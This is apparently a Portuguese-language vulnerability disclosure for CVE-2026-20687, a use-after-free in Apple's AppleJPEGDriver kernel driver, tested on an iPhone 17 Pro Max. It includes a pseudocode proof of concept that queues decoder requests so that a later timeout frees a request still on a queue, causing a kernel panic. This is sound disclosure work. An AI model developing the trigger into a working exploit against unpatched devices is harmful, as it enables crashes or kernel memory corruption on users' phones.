
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidade do kernel iOS/macOS que leva a pânico adiado (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Autor: Johnny Franks (@0xjohnny)
Componente: Kernel
Impacto: Um app pode ser capaz de causar o encerramento inesperado do sistema ou escrever na memória do kernel
Descrição: Um problema de use after free foi corrigido com melhorias no gerenciamento de memória.
Isto causará um kernel panic no seu dispositivo. Salve o seu trabalho.
Testado no iOS 26.3 (23D125) em iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Gatilho direto:
// PoC: prepara o driver; o panic geralmente é adiado até a Câmera ser aberta.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Mais tarde, abrir a Câmera dispara:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NÃO remove da fila (req + 0x78)
// Mais tarde ainda (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // obsoleto: node_ptr == (req liberada + 0x78)
req2 = *(node_ptr + 0x8); // leitura UAF de req+0x80 -> falha de tag do MTE -> panic
ios-app/Test.xcodeproj no Xcode